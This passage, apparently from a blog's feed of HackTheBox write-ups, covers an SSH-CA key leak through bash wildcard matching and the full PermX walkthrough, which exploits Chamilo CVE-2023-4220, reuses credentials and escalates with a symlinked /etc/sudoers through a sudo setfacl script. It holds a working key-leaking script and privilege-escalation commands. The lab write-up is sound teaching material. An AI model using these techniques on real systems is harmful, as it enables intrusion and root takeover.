</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span></code></pre></div><p>Here when we enter <code>*</code> as the password, the script will match it with the password and we can easily bypass the check.</p>
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129205356.webp" alt=""><p>In this example th password is hardcoded inside the script. Now what if the script have suid bit set and reads the password from another file which only the root user have permission to. Another thing we can try is exfiltrate the password by exploiting this wilcard matching.
For example we can try to find the first letter by trying all the letter one by one and add <code>*</code> at the end. Since the password here is <code>secretpass</code>, the password <code>a*</code> fails and <code>s*</code> works.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129205900.webp" alt=""></p>
<p>We can keep doing this until we exfiltrate the whole password using a small script.
The same method can be applied to create a script to leak the content of <code>/etc/ssh/ca-it</code> file.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fe8019">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fe8019">import</span> subprocess
</span></span><span style="display:flex;"><span><span style="color:#fe8019">import</span> os
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chars <span style="color:#fe8019">=</span> string<span style="color:#fe8019">.</span>ascii_uppercase <span style="color:#fe8019">+</span> string<span style="color:#fe8019">.</span>ascii_lowercase <span style="color:#fe8019">+</span> string<span style="color:#fe8019">.</span>digits <span style="color:#fe8019">+</span> <span style="color:#b8bb26">&#39;+/</span><span style="color:#b8bb26">\n</span><span style="color:#b8bb26">-= &#39;</span>
</span></span><span style="display:flex;"><span>ca <span style="color:#fe8019">=</span> <span style="color:#b8bb26">&#39;test-ca&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>leaked_key<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;&#34;&#34;-----BEGIN OPENSSH PRIVATE KEY-----
</span></span></span><span style="display:flex;"><span><span style="color:#b8bb26">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">def</span> <span style="color:#fabd2f">is_valid_ca</span>():
</span></span><span style="display:flex;"><span> output <span style="color:#fe8019">=</span> subprocess<span style="color:#fe8019">.</span>run(
</span></span><span style="display:flex;"><span> <span style="color:#b8bb26">f</span><span style="color:#b8bb26">&#34;sudo /opt/sign_key.sh </span><span style="color:#b8bb26">{</span>ca<span style="color:#b8bb26">}</span><span style="color:#b8bb26"> ctf-root.pub root root_user 1337&#34;</span>,
</span></span><span style="display:flex;"><span> stdout<span style="color:#fe8019">=</span>subprocess<span style="color:#fe8019">.</span>PIPE,
</span></span><span style="display:flex;"><span> stderr<span style="color:#fe8019">=</span>subprocess<span style="color:#fe8019">.</span>PIPE,
</span></span><span style="display:flex;"><span> shell<span style="color:#fe8019">=</span><span style="color:#fe8019">True</span>,
</span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">return</span> <span style="color:#b8bb26">&#34;Error: Use API for signing with this CA.&#34;</span> <span style="color:#fe8019">in</span> output<span style="color:#fe8019">.</span>stdout<span style="color:#fe8019">.</span>decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">while</span> <span style="color:#fe8019">not</span> leaked_key<span style="color:#fe8019">.</span>endswith(<span style="color:#b8bb26">&#39;-----END OPENSSH PRIVATE KEY----&#39;</span>):
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">for</span> s <span style="color:#fe8019">in</span> chars:
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">with</span> <span style="color:#fabd2f">open</span>(ca, <span style="color:#b8bb26">&#39;w&#39;</span>) <span style="color:#fe8019">as</span> f:
</span></span><span style="display:flex;"><span> f<span style="color:#fe8019">.</span>write(leaked_key <span style="color:#fe8019">+</span> s <span style="color:#fe8019">+</span> <span style="color:#b8bb26">&#39;*&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">if</span> is_valid_ca():
</span></span><span style="display:flex;"><span> leaked_key <span style="color:#fe8019">=</span> leaked_key <span style="color:#fe8019">+</span> s
</span></span><span style="display:flex;"><span> os<span style="color:#fe8019">.</span>system(<span style="color:#b8bb26">&#39;clear&#39;</span>)
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">print</span>(leaked_key)
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">break</span>
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">else</span>:
</span></span><span style="display:flex;"><span> <span style="color:#fe8019">break</span>
</span></span><span style="display:flex;"><span><span style="color:#fabd2f">print</span>(leaked_key)
</span></span></code></pre></div><p>Now execute the script, it will take some time to leak the entire file content.
<img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129232152.webp" alt="">
Now let&rsquo;s create an ssh key for root and let&rsquo;s sign it using the CA.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh-keygen -t rsa -f ctf-root
</span></span><span style="display:flex;"><span>ssh-keygen -s ca-root -I root -n root_user ctf-root.pub
</span></span></code></pre></div><p><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129232949.webp" alt="">
Now let&rsquo;s login as root</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ssh [email protected] -p <span style="color:#d3869b">2222</span> -i ctf-root -o CertificateFile<span style="color:#fe8019">=</span>ctf-root-cert.pub
</span></span></code></pre></div><img src="https://h4r1337.github.io/img/resource/Pasted%20image%2020241129233357.webp" alt=""><h3 id="reference">Reference:</h3>
<ul>
<li><a href="https://www.php.net/manual/en/phar.using.stream.php"><code>phar://</code> wrapper</a></li>
<li><a href="https://rudrasarkar.medium.com/exploiting-phar-stream-wrapper-d2140592c6e7">Exploiting phar stream wrapper</a></li>
<li><a href="https://en.wikipedia.org/wiki/HAR_(file_format)">HAR</a></li>
<li><a href="https://www.lorier.net/docs/ssh-ca.html">Certification Authority key</a></li>
<li><a href="https://dmuth.medium.com/ssh-at-scale-cas-and-principals-b27edca3a5d">SSH at scale CAs and Principals</a></li>
</ul></content></item><item><title>PermX | HackTheBox</title><link>https://h4r1337.github.io/posts/permx/</link><pubDate>Mon, 04 Nov 2024 20:37:42 +0530</pubDate><guid>https://h4r1337.github.io/posts/permx/</guid><description><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/permx/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/permx">PermX</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Easy</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
<td style="text-align: center"><a href="https://app.hackthebox.com/users/1573153"><img src="https://www.hackthebox.com/badge/image/1573153" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-bulb"
style="color: #bdbb26;"
></i>
<p
class="alert-heading"
style="color: #bdbb26"
>
About Permx
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #bdbb26;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p><code>PermX</code> is an Easy Difficulty Linux machine featuring a learning management system vulnerable to unrestricted file uploads via <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-4220">CVE-2023-4220</a>. This vulnerability is leveraged to gain a foothold on the machine. Enumerating the machine reveals credentials that lead to SSH access. A <code>sudo</code> misconfiguration is then exploited to gain a <code>root</code> shell.</p></description><content><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/permx/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/permx">PermX</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Easy</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
<td style="text-align: center"><a href="https://app.hackthebox.com/users/1573153"><img src="https://www.hackthebox.com/badge/image/1573153" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-bulb"
style="color: #bdbb26;"
></i>
<p
class="alert-heading"
style="color: #bdbb26"
>
About Permx
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #bdbb26;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p><code>PermX</code> is an Easy Difficulty Linux machine featuring a learning management system vulnerable to unrestricted file uploads via <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-4220">CVE-2023-4220</a>. This vulnerability is leveraged to gain a foothold on the machine. Enumerating the machine reveals credentials that lead to SSH access. A <code>sudo</code> misconfiguration is then exploited to gain a <code>root</code> shell.</p>
</div>
</div>
<script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
</script>
<h1 id="information-gathering">Information Gathering</h1>
<p>Before starting, I have added <code>permx.htb</code> to <code>/etc/hosts</code> file</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#fabd2f">echo</span> -e <span style="color:#b8bb26">&#39;10.10.11.23\tpermx.htn&#39;</span> | sudo tee -a /etc/hosts
</span></span></code></pre></div><p>Now let&rsquo;s start with nmap scan.
Scanned all TCP ports:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>nmap -p- --min-rate <span style="color:#d3869b">10000</span> -vv -oA nmap/ports 10.10.11.23
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Nmap scan report <span style="color:#fe8019">for</span> permx.htb <span style="color:#fe8019">(</span>10.10.11.23<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>Host is up, received syn-ack <span style="color:#fe8019">(</span>0.25s latency<span style="color:#fe8019">)</span>.
</span></span><span style="display:flex;"><span>Scanned at 2024-07-08 15:04:06 IST <span style="color:#fe8019">for</span> 97s
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#d3869b">63855</span> filtered ports, <span style="color:#d3869b">1678</span> closed ports
</span></span><span style="display:flex;"><span>Reason: <span style="color:#d3869b">63855</span> no-responses and <span style="color:#d3869b">1678</span> conn-refused
</span></span><span style="display:flex;"><span>PORT STATE SERVICE REASON
</span></span><span style="display:flex;"><span>22/tcp open ssh syn-ack
</span></span><span style="display:flex;"><span>80/tcp open http syn-ack
</span></span></code></pre></div><p>Enumerated open TCP ports:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>nmap -p22,80 --min-rate <span style="color:#d3869b">1000</span> -sC -sV -vv -oA nmap/services 10.10.11.23
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Nmap scan report <span style="color:#fe8019">for</span> permx.htb <span style="color:#fe8019">(</span>10.10.11.23<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>Host is up, received syn-ack <span style="color:#fe8019">(</span>0.16s latency<span style="color:#fe8019">)</span>.
</span></span><span style="display:flex;"><span>Scanned at 2024-07-08 15:05:58 IST <span style="color:#fe8019">for</span> 12s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT STATE SERVICE REASON VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 <span style="color:#fe8019">(</span>Ubuntu Linux; protocol 2.0<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>80/tcp open http syn-ack Apache httpd 2.4.52
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_ Supported Methods: OPTIONS HEAD GET POST
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.52 <span style="color:#fe8019">(</span>Ubuntu<span style="color:#fe8019">)</span>
</span></span><span style="display:flex;"><span>|_http-title: eLEARNING
</span></span><span style="display:flex;"><span>Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span></code></pre></div><p>There are only 2 ports open, <code>80</code> and <code>22</code></p>
<hr>
<h1 id="enumeration">Enumeration</h1>
<h2 id="port-80---http-apache">Port 80 - HTTP (Apache)</h2>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240708150113.webp" alt=""><p>There isn&rsquo;t much functionality to test in this site. There&rsquo;s a contact form
in <code>/contact.html</code>, but that is also not working.
Let&rsquo;s do vhost enumeration to check if there&rsquo;s any subdomains:</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffuf -u http://permx.htb/ -H <span style="color:#b8bb26">&#39;Host: FUZZ.permx.htb&#39;</span> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc <span style="color:#d3869b">200</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> /<span style="color:#b8bb26">&#39;___\ /&#39;</span>___<span style="color:#b8bb26">\ </span> /&#39;___<span style="color:#b8bb26">\
</span></span></span><span style="display:flex;"><span><span style="color:#b8bb26"></span> /<span style="color:#b8bb26">\ \_</span>_/ /<span style="color:#b8bb26">\ \_</span>_/ __ __ /<span style="color:#b8bb26">\ \_</span>_/
</span></span><span style="display:flex;"><span> <span style="color:#b8bb26">\ \ </span>,__<span style="color:#b8bb26">\\</span> <span style="color:#b8bb26">\ </span>,__<span style="color:#b8bb26">\/\ \/\ \ \ \ </span>,__<span style="color:#b8bb26">\
</span></span></span><span style="display:flex;"><span><span style="color:#b8bb26"></span> <span style="color:#b8bb26">\ \ \_</span>/ <span style="color:#b8bb26">\ \ \_</span>/<span style="color:#b8bb26">\ \ \_\ \ \ \ \_</span>/
</span></span><span style="display:flex;"><span> <span style="color:#b8bb26">\ \_\ </span> <span style="color:#b8bb26">\ \_\ </span> <span style="color:#b8bb26">\ \_</span>___/ <span style="color:#b8bb26">\ \_\
</span></span></span><span style="display:flex;"><span><span style="color:#b8bb26"></span> <span style="color:#b8bb26">\/</span>_/ <span style="color:#b8bb26">\/</span>_/ <span style="color:#b8bb26">\/</span>___/ <span style="color:#b8bb26">\/</span>_/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v1.1.0
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> :: Method : GET
</span></span><span style="display:flex;"><span> :: URL : http://permx.htb/
</span></span><span style="display:flex;"><span> :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
</span></span><span style="display:flex;"><span> :: Header : Host: FUZZ.permx.htb
</span></span><span style="display:flex;"><span> :: Follow redirects : <span style="color:#fabd2f">false</span>
</span></span><span style="display:flex;"><span> :: Calibration : <span style="color:#fabd2f">false</span>
</span></span><span style="display:flex;"><span> :: Timeout : <span style="color:#d3869b">10</span>
</span></span><span style="display:flex;"><span> :: Threads : <span style="color:#d3869b">40</span>
</span></span><span style="display:flex;"><span> :: Matcher : Response status: <span style="color:#d3869b">200</span>
</span></span><span style="display:flex;"><span>________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>www <span style="color:#fe8019">[</span>Status: 200, Size: 36178, Words: 12829, Lines: 587<span style="color:#fe8019">]</span>
</span></span><span style="display:flex;"><span>lms <span style="color:#fe8019">[</span>Status: 200, Size: 19347, Words: 4910, Lines: 353<span style="color:#fe8019">]</span>
</span></span><span style="display:flex;"><span>:: Progress: <span style="color:#fe8019">[</span>4989/4989<span style="color:#fe8019">]</span> :: Job <span style="color:#fe8019">[</span>1/1<span style="color:#fe8019">]</span> :: <span style="color:#d3869b">226</span> req/sec :: Duration: <span style="color:#fe8019">[</span>0:00:22<span style="color:#fe8019">]</span> :: Errors: <span style="color:#d3869b">0</span> ::
</span></span></code></pre></div><p>Found one subdomain, let&rsquo;s add that to <code>/etc/hosts</code> as well</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#fabd2f">echo</span> -e <span style="color:#b8bb26">&#39;10.10.11.23\tlms.permx.htb&#39;</span> | sudo tee -a /etc/hosts
</span></span></code></pre></div><h4 id="lmspermxhtb"><code>lms.permx.htb</code></h4>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240708151036.webp" alt=""><p>Chamilo is an open source e-learning and content management system.
If we also have the version number, we could easily find a working exploit.
The <code>/robots.txt</code> file is available and there&rsquo;s some files that might disclose the version number.
<img src="https://h4r1337.github.io/img/permx/robots-txt.webp" alt=""></p>
<p>The <code>README.txt</code> file returns a 404 error. But the <code>/documentation/</code> endpoint is working fine and we can see the version of the chamilo instance used here.
<img src="https://h4r1337.github.io/img/permx/version.webp" alt="">
Chamilo LMS &lt;= <code>1.11.24</code> is vulnerable to unauthenticated RCE throught file upload - <a href="https://pentest-tools.com/vulnerabilities-exploits/chamilo-lms-11124-remote-code-execution_22949">CVE-2023-4220</a>.</p>
<h1 id="exploitation---cve-2023-4220">Exploitation - <code>CVE-2023-4220</code></h1>
<p>Found this <a href="https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit/blob/main/CVE-2023-4220.sh?source=post_page-----84871140b508--------------------------------">exploit</a> to be working. Let&rsquo;s run it:</p>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709202401.webp" alt=""><p>And we got the shell.</p>
<h1 id="lateral-movement-to-user">Lateral Movement to user</h1>
<h2 id="local-enumeration">Local Enumeration</h2>
<p>We can start by enumerating the configuration files of chamilo.
After some enumeration in the <code>/var/www/chamilo</code> directory for password in the configuration files I found this:</p>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709203439.webp" alt=""><p>There are only 2 users in the machine.</p>
<img src="https://h4r1337.github.io/img/permx/users.webp" alt=""><p>We can try the password with user <code>mtz</code></p>
<p>And it works:</p>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709203701.webp" alt=""><hr>
<h1 id="privilege-escalation">Privilege Escalation</h1>
<h2 id="local-enumeration-1">Local Enumeration</h2>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709205357.webp" alt=""><p>It looks like we can execute <code>/opt/acl.sh</code> with sudo privileges.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /opt/acl.sh
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#8ec07c">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#8ec07c"></span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> <span style="color:#b8bb26">&#34;</span>$#<span style="color:#b8bb26">&#34;</span> -ne <span style="color:#d3869b">3</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> /usr/bin/echo <span style="color:#b8bb26">&#34;Usage: </span>$0<span style="color:#b8bb26"> user perm file&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">exit</span> <span style="color:#d3869b">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$1<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>perm<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$2<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>target<span style="color:#fe8019">=</span><span style="color:#b8bb26">&#34;</span>$3<span style="color:#b8bb26">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[[</span> <span style="color:#b8bb26">&#34;</span>$target<span style="color:#b8bb26">&#34;</span> !<span style="color:#fe8019">=</span> /home/mtz/* <span style="color:#fe8019">||</span> <span style="color:#b8bb26">&#34;</span>$target<span style="color:#b8bb26">&#34;</span> <span style="color:#fe8019">==</span> *..* <span style="color:#fe8019">]]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> /usr/bin/echo <span style="color:#b8bb26">&#34;Access denied.&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">exit</span> <span style="color:#d3869b">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#928374;font-style:italic"># Check if the path is a file</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">if</span> <span style="color:#fe8019">[</span> ! -f <span style="color:#b8bb26">&#34;</span>$target<span style="color:#b8bb26">&#34;</span> <span style="color:#fe8019">]</span>; <span style="color:#fe8019">then</span>
</span></span><span style="display:flex;"><span> /usr/bin/echo <span style="color:#b8bb26">&#34;Target must be a file.&#34;</span>
</span></span><span style="display:flex;"><span> <span style="color:#fabd2f">exit</span> <span style="color:#d3869b">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fe8019">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/usr/bin/sudo /usr/bin/setfacl -m u:<span style="color:#b8bb26">&#34;</span>$user<span style="color:#b8bb26">&#34;</span>:<span style="color:#b8bb26">&#34;</span>$perm<span style="color:#b8bb26">&#34;</span> <span style="color:#b8bb26">&#34;</span>$target<span style="color:#b8bb26">&#34;</span>
</span></span></code></pre></div><p>The script runs the <code>setfacl</code> command as sudo and gives the user control to specify three arguments that is then passed to <code>setfacl</code>.</p>
<div
class="alert alert-note open"
style="border-color: #076678;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-info-circle"
style="color: #076678;"
></i>
<p
class="alert-heading"
style="color: #076678"
>
Note
</p>
<i
class='bx bx-chevron-down open'
style="color: #076678;"
></i>
</div>
<div class="alert-content" >
<p><a href="https://www.usenix.org/legacy/publications/library/proceedings/usenix03/tech/freenix03/full_papers/gruenbacher/gruenbacher_html/main.html"><code>setfacl</code></a> is a command utility tool for setting access control lists in files and directories.</p>
</div>
</div>
<script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
</script>
<p>In a closer look, we can see that, <code>acl.sh</code> requires 3 inputs <code>$user</code> <code>$perm</code> and <code>$target</code>.</p>
<ul>
<li><code>$user</code> is the user for which we want to set the permission. In our case user <code>mtz</code>.</li>
<li><code>$perm</code> represents the permission. eg: <code>rwx</code> for read, write, and execute permissions.</li>
<li><code>$target</code> is to specify the file we want to upply the permission.
The script also check if the <code>$target</code> is located in <code>/home/mtz/</code> directory, that is our home directory. And eventhough there is a wildcard (<code>*</code>) used to check this,
we can&rsquo;t use file path like <code>/home/mtz/../../root/root.txt</code> because the script also checks if the <code>$target</code> contains <code>..</code> characters.</li>
</ul>
<p>But what we can try is to create a symlink of a file in our home directory and change its permission.</p>
<h2 id="privilege-escalation-1">Privilege Escalation</h2>
<p>So with that set, we can try changing permission of the <code>/etc/sudoers</code> file:
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709210026.webp" alt=""></p>
<p>First, let&rsquo;s create a symlink in our home directory.</p>
<div class="highlight"><pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>ln -s /etc/sudoers /home/mtz/test
</span></span></code></pre></div><img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709210138.webp" alt=""><img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709210214.webp" alt=""><p>Now let&rsquo;s edit the file and update the permission of user <code>mtz</code>:</p>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709210254.webp" alt=""><p>And that&rsquo;s it:</p>
<img src="https://h4r1337.github.io/img/permx/Pasted%20image%2020240709210530.webp" alt=""><h3 id="references">References:</h3>
<ul>
<li><a href="https://pentest-tools.com/vulnerabilities-exploits/chamilo-lms-11124-remote-code-execution_22949">CVE-2023-4220</a></li>
<li><a href="https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit/blob/main/CVE-2023-4220.sh">CVE-2023-4220 Exploit</a></li>
<li><a href="https://www.usenix.org/legacy/publications/library/proceedings/usenix03/tech/freenix03/full_papers/gruenbacher/gruenbacher_html/main.html">POSIX Access Control Lists on Linux</a></li>
</ul></content></item><item><title>Blurry | HackTheBox</title><link>https://h4r1337.github.io/posts/blurry/</link><pubDate>Sun, 13 Oct 2024 18:13:48 +0530</pubDate><guid>https://h4r1337.github.io/posts/blurry/</guid><description><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/blurry/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/Blurry">Blurry</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Medium</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
<td style="text-align: center"><a href="https://app.hackthebox.com/users/458049"><img src="https://www.hackthebox.com/badge/image/458049" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>
<i
class="bx bx-bulb"
style="color: #bdbb26;"
></i>
<p
class="alert-heading"
style="color: #bdbb26"
>
About Blurry
</p>
<i
class='bx bx-chevron-down collapsed'
style="color: #bdbb26;"
></i>
</div>
<div class="alert-content" style="display: none;">
<p>Blurry is a medium-difficulty Linux machine that features DevOps-related vectors surrounding machine learning. The foothold is comprised of a series of CVEs recently disclosed about the ClearML suite. The service provides a web platform, a fileserver, and an API; all of which contain vulnerabilities (<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24590">CVE-2024-24590</a> - <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24595">CVE-2024-24595</a>) that can be chained together for remote code execution. Once a shell on the target is obtained, a program that can be run with <code>sudo</code> is discovered. The program loads arbitrary <code>PyTorch</code> models to evaluate them against a protected dataset. While it is known that such models are susceptible to insecure deserialisation, <code>fickling</code> is used to scan the dataset for insecure <code>pickle</code> files , prior to loading the model. Malicious code can be injected into a model, using <code>runpy</code> to bypass the <code>fickling</code> checks.</p></description><content><h2 id="overview">Overview</h2>
<img src="https://h4r1337.github.io/img/blurry/cover.webp" alt=""><table>
<thead>
<tr>
<th style="text-align: center">Title</th>
<th style="text-align: center"><a href="https://app.hackthebox.com/machines/Blurry">Blurry</a></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">Difficulty</td>
<td style="text-align: center">Medium</td>
</tr>
<tr>
<td style="text-align: center">Machine</td>
<td style="text-align: center">Linux</td>
</tr>
<tr>
<td style="text-align: center">Maker</td>
